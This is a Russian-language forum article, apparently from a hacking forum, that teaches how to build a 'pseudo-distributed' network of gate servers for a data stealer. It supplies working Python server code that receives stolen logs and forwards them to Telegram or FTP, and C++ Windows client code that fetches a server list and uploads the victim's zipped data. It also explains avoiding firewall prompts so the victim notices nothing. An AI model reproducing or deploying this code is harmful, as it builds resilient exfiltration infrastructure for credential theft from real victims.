Статья Псевдораспределённая сеть серверов для вашего стиллера (C++/Python)

xss.is/threads/54141

Привет, сегодня я расскажу как вы можете создать свою ***псевдораспределённую сеть*** для своих стиллеров или другого софта

Для примера мы будем отсылать наши логи в Телеграмм, своровать ваши логи стандартным способом при использовании такой сети - невозможно
Межсетевое общение реализовано с помощью сокетов, что означает максимальную совместимость (но это не точно, поправьте меня, если не прав)

Сторона сервер-гейта [Python]

Переменные и библиотеки:
Python:

```
###
import socket, tqdm, telebot, os, ftplib, random, string
from _thread import *
from requests import get
###

ServerSideSocket = socket.socket()
BUFFER_SIZE = 4096
SEPARATOR = "<SEPARATOR>"  # Разделение заголовков для создания файла (filename, filesize)
TOKEN = "your_telegram_token"
MYID = "your_chat_token"


bot = telebot.TeleBot(TOKEN)
session = ftplib.FTP("HOST", "USER", "PASS")
session.encoding='utf-8'
host = get('https://api.ipify.org').text
port = 12345 # your port here
```

Для начала давайте обозначим алгоритм работы:

1. При первом запуске каждый сервер генерирует свой k-значный айди (на ваше усмотрение)
   Python:

```
UNIQUE_ID = ''.join(random.choices(string.ascii_uppercase + string.digits, k=8))
if os.path.exists("retarget.key"):
   f_temp = open("retarget.key","r")
   UNIQUE_ID = f_temp.read()
else:
   with open("retarget.key","w") as f_temp:
      f_temp.write(UNIQUE_ID)
```

2. Далее мы получаем список всех активных серверов и если в списке оказалась машина с нашим именем, то перезаписываем её своим IP адресом (каждая строка - каждая машина, формат UNIQUE_ID_hostip)
   Python:

```
try:
   session.retrlines('RETR /public_html/activeservers.txt', activeServers.append)
except Exception as e:
   bot.send_message(MYID,f"Host: {host}\n\nПроизошла ошибка:\n\n{e}")

def check_host(UNIQUE_ID):
   for num in range(0,len(activeServers)):
      currLine = activeServers[num].split("_")
      if currLine[0] == UNIQUE_ID:
         current_num = num
         return True
if check_host(UNIQUE_ID):
   print(activeServers[current_num])
   if activeServers[current_num].split("_")[1] != host:
      activeServers[current_num] = UNIQUE_ID+"_"+host
```

3. Если в списке не оказалось машины с нашим именем, то добавляем в массив запись с UNIQUED ID и своим IP адресом
   Python:

```
else:
   activeServers.append(UNIQUE_ID+"_"+host)
```

4. Сохраняем в .txt актуальный список всех серверов и отправляем на наш FTP
   Python:

```
with open("activeservers.txt", "w") as txt_file:
    for line in activeServers:
        txt_file.write("".join(line) + "\n")
session.storlines("STOR " + "/public_html/activeservers.txt", open("activeservers.txt",
'rb'))
os.unlink("activeservers.txt")
```

5. Запускаем наш сокет-сервер и ожидаем приёма файлов которые будем
   перенаправлять куда вам угодно (в рамках данной реализации мы можем
   отправить документ в Телеграмм или выгрузить на тот же FTP сервер)
   Python:

```
try:
    ServerSideSocket.bind((host, port))
except socket.error as e:
    ServerSideSocket.bind(("localhost", port))
    print(str(e))
```

Для возможности работы одновременно с некоторым количеством клиентов сервер использует multithreading, поэтому обработка каждого клиента происходит в отдельном потоке специально выделенной функцией:
Python:

```
def multi_threaded_client(connection, address):
   try:
      received = connection.recv(BUFFER_SIZE)
      print(str(received))
      filename, filesize = str(received).split(SEPARATOR)
      filename = os.path.basename(filename)
      filesize = int(filesize.replace("'",""))
      progress = tqdm.tqdm(range(filesize), f"Retargeting:", unit="B", unit_scale=True,
unit_divisor=1024)
      with open(filename, "wb") as f:
         while True:
            bytes_read = connection.recv(BUFFER_SIZE)
            if not bytes_read:
               break
            f.write(bytes_read)
            progress.update(len(bytes_read))
      f1 = open(filename,"rb")
      bot.send_document(MYID, f1,caption=f"LOG FROM {address[0]}")
      f1.close()
      connection.close()
      os.unlink(f1.name)
   except Exception as e:
      print(f"ERROR: {e}")
```

*Примечание: файл здесь открывается повторно, так как при использовании открытого файла для записи с потока данных он находится всё еще в busy состоянии (Файл *.zip занят процессом **.exe)*

А сама функция задается в бесконечном потоке для непрерывной обработки данных:
Python:

```
while True:
    Client, address = ServerSideSocket.accept()
    start_new_thread(multi_threaded_client, (Client, address, ))
```

Вот и вся реализация, загружаете *.py на ваш дедик и запускаете, сервер добавляет себя в список активных серверов и начинает работу

Сторона клиента-отправителя данных [C++]

В нашем примере используется стиллер, который собирает все данные в один .zip файл, его-то мы и будем отправлять на наш сервер-гейт
Как и в случае с сервером опишем алгоритм:

1. Для начала мы подключаемся к сокету который получили на вход:
   C++:

```
static bool socket_upload(std::string hosts, int port, std::string path) {
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    SOCKET Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    struct hostent* host;
    std::cout << "Initialized\n";
    host = gethostbyname(hosts.c_str());
    SOCKADDR_IN SockAddr;
    SockAddr.sin_port = htons(port);
    SockAddr.sin_family = AF_INET;
    SockAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr);
    std::cout << "Connecting...\n";
    if (connect(Socket, (SOCKADDR*)(&SockAddr), sizeof(SockAddr)) < 0) return false;
    std::cout << "Connected.\n";
```

2. Затем читаем файл в байтах и отправляем первостепенный кусочек данных с названием файла и его размером
   C++:

```
HANDLE hFile = CreateFileA(path.c_str(), GENERIC_READ, 0, NULL,
        OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);

    int size = GetFileSize(hFile, NULL);
    char* send_f = (char*)(path + "<SEPARATOR>" + std::to_string(size)).c_str();
    std::cout << "First request: " << send_f;
    send(Socket, send_f,strlen(send_f),0);
    Sleep(1000);
```

   Примечание: ***<SEPARATOR>*** *используется для разделения данных filename и filesize, а* ***Sleep(1000)*** *чтобы избежать смешения заголовка и тела файла*

3. Отправляем байты непосредственно на сервер
   C++:

```
int bytesSent = 0;
    do {
        char buff[300];
        DWORD dwBytesRead;
        //Copy file into array buff
        if (!ReadFile(hFile, buff, 300, &dwBytesRead, NULL)) {
            std::cout << GetLastError << std::endl;
        }
        bytesSent += send(Socket, buff, dwBytesRead, 0);
        std::cout << bytesSent << "\n";
    } while (bytesSent < size);
    closesocket(Socket);
    WSACleanup();
    return true;
}
```

C++:

```
static bool socket_upload(std::string hosts, int port, std::string path) {
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    SOCKET Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    struct hostent* host;
    std::cout << "Initialized\n";
    host = gethostbyname(hosts.c_str());
    SOCKADDR_IN SockAddr;
    SockAddr.sin_port = htons(port);
    SockAddr.sin_family = AF_INET;
    SockAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr);
    std::cout << "Connecting...\n";
    if (connect(Socket, (SOCKADDR*)(&SockAddr), sizeof(SockAddr)) < 0) return false;



    std::cout << "Connected.\n";

    // Open the existing file.
    HANDLE hFile = CreateFileA(path.c_str(), GENERIC_READ, 0, NULL,
        OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);

    int size = GetFileSize(hFile, NULL);
    char* send_f = (char*)(path + "<SEPARATOR>" + std::to_string(size)).c_str();
    std::cout << "First request: " << send_f;
    send(Socket, send_f,strlen(send_f),0);
    Sleep(1000);
    int bytesSent = 0;
    do {
        char buff[300];
        DWORD dwBytesRead;
        //Copy file into array buff
        if (!ReadFile(hFile, buff, 300, &dwBytesRead, NULL)) {
            std::cout << GetLastError << std::endl;
        }
        bytesSent += send(Socket, buff, dwBytesRead, 0);
        std::cout << bytesSent << "\n";
    } while (bytesSent < size);
    closesocket(Socket);
    WSACleanup();
    return true;
}
```

Well done, мы реализовали простую отправку наших данных на сервер, но откуда нам взять сервер? - Пишем код дальше!

Текстовый файл activeservers.txt в котором хранятся все текущие активные машины должен быть доступен извне, для этого отлично подойдут бесплатные хостинги (oooowebhost или другие) не реклама, мне не платили.

Его содержимое мы будем получать через GET запрос, т.к FTP запросы из-под Windows триггерят Брандмауэр Windows, а нам же не нужны лишние телодвижения жертвы..

Метод отправки GET строится схожим образом, как и при отправке файла, только в этот раз вместо данных мы отправим заголовки и считаем ответ от сервера (а ответом и будет тот самый .txt файл)
C++:

```
static std::string HTTP_GET(std::string host,int port, std::string path) {
        std::string request;
        std::string response;
        int resp_leng;

        char buffer[BUFFERSIZE];
        struct sockaddr_in serveraddr;
        int sock;

        WSADATA wsaData;
        struct hostent* ipadd = gethostbyname(host.c_str());

        std::stringstream ss;

        std::stringstream request2;

        request2 << "GET " << path << " HTTP/1.1" << std::endl;
        request2 << "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR
1.1.4322; .NET CLR 2.0.50727)" << std::endl;
        request2 << "Host: " << host << std::endl;

        request2 << "Connection: close" << std::endl;
        request2 << std::endl;
        request = request2.str();
        WSAStartup(MAKEWORD(2, 0), &wsaData);
        sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

        memset(&serveraddr, 0, sizeof(serveraddr));
        serveraddr.sin_family = AF_INET;
        serveraddr.sin_addr.s_addr = *((unsigned long*)ipadd->h_addr);
        serveraddr.sin_port = htons((unsigned short)port);
        connect(sock, (struct sockaddr*)&serveraddr, sizeof(serveraddr));

        send(sock, request.c_str(), request.length(), 0);

        response = "";
        resp_leng = BUFFERSIZE;
        while (resp_leng == BUFFERSIZE)
        {
            resp_leng = recv(sock, (char*)&buffer, BUFFERSIZE, 0);
            if (resp_leng > 0)
                response += std::string(buffer).substr(0, resp_leng);
        }
        closesocket(sock);
        WSACleanup();

        return response.substr(response.find("\r\n\r\n"));
    }
```

Socket - классная и удобная штука

Увы и ах, но ответ от GET запроса приходит в форме одной строки, нам нужно это исправлять и делить их построчно:

C++:

```
static std::vector<std::string> split_string_by_newline(const std::string& str)
{
    auto result = std::vector<std::string>{};
    auto ss = std::stringstream{ str };

    for (std::string line; std::getline(ss, line, '\n');)
        if (line.length() > 2) result.push_back(line);

    return result;
}
```

А теперь можно уже получать и сам адрес сервер-гейта и подключаться
Возвращаемый вектор можно рассматривать как массив, поэтому спокойно генерируем число и выбираем рандомный сервер из активных:
C++:

```
static void try_to_connect(std::string path, int port) {
    srand(time(0));
    std::vector<std::string> foo = split_string_by_newline(HTTP_GET("your_url_to_site.com",
80, "/activeservers.txt"));
    int randomIndex = rand() % foo.size();
```

Как вы помните, формат наших активных машин - UNIQUEID_HOSTIP, однако, он нужен нам только при иниинициализации машин, клиенту же нужно знать только сам IP-адрес, поэтому давайте достанем его отсюда
C++:

```
    std::string token = foo[randomIndex].substr(foo[randomIndex].find("_") + 1,
foo[randomIndex].length());
```

И уже теперь мы точно можем спокойно подключаться к серверу и передавать наш файл:
C++:

```
    if (!socket_upload(token, port, path)) try_to_connect(path, port);
    else std::cout << "Success!";
```

Примечание: для того чтобы наша программа не рушилась при недоступном сервере мы используем рекурсивную функцию вызова загрузки, однако, оставить рекурсивную функцию без альтернативного вывода мы не можем, поэтому и выводим "Success!", однако, оно никогда не будет выведено, поэтому в данный else вы можете вписать все что вам угодно

C++:

```
static std::vector<std::string> split_string_by_newline(const std::string& str)
{
    auto result = std::vector<std::string>{};
    auto ss = std::stringstream{ str };

    for (std::string line; std::getline(ss, line, '\n');)
        if (line.length() > 2) result.push_back(line);

    return result;
}
static void try_to_connect(std::string path, int port) {
    srand(time(0));
    std::vector<std::string> foo = split_string_by_newline(easy_HTTP_GET("your_site.com", 80,
"/activeservers.txt"));
    int randomIndex = rand() % foo.size();
    std::string token = foo[randomIndex].substr(foo[randomIndex].find("_") + 1,
foo[randomIndex].length());
    if (!socket_upload(token, port, path)) try_to_connect(path, port);
    else std::cout << "Success!";
}

static std::string easy_HTTP_GET(std::string host,int port, std::string path) {
        std::string request;
        std::string response;
        int resp_leng;

        char buffer[BUFFERSIZE];
        struct sockaddr_in serveraddr;
        int sock;

        WSADATA wsaData;
        struct hostent* ipadd = gethostbyname(host.c_str());

        std::stringstream ss;

        std::stringstream request2;

        request2 << "GET " << path << " HTTP/1.1" << std::endl;
        request2 << "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR
1.1.4322; .NET CLR 2.0.50727)" << std::endl;
        request2 << "Host: " << host << std::endl;

        request2 << "Connection: close" << std::endl;
        request2 << std::endl;
        request = request2.str();
        WSAStartup(MAKEWORD(2, 0), &wsaData);
        sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

        memset(&serveraddr, 0, sizeof(serveraddr));
        serveraddr.sin_family = AF_INET;
        serveraddr.sin_addr.s_addr = *((unsigned long*)ipadd->h_addr);
```

```
        serveraddr.sin_port = htons((unsigned short)port);
        connect(sock, (struct sockaddr*)&serveraddr, sizeof(serveraddr));

        send(sock, request.c_str(), request.length(), 0);

        response = "";
        resp_leng = BUFFERSIZE;
        while (resp_leng == BUFFERSIZE)
        {
            resp_leng = recv(sock, (char*)&buffer, BUFFERSIZE, 0);
            if (resp_leng > 0)
                response += std::string(buffer).substr(0, resp_leng);
        }
        closesocket(sock);
        WSACleanup();

        return response.substr(response.find("\r\n\r\n"));
    }
try_to_connect(path_to_file, port);   // Мы указывали порт 12345, не забудьте его указать и здесь
```

Спасибо за прочтение моей статьи, надеюсь хоть кому-нибудь будет интересен и полезен данный материал ^_^
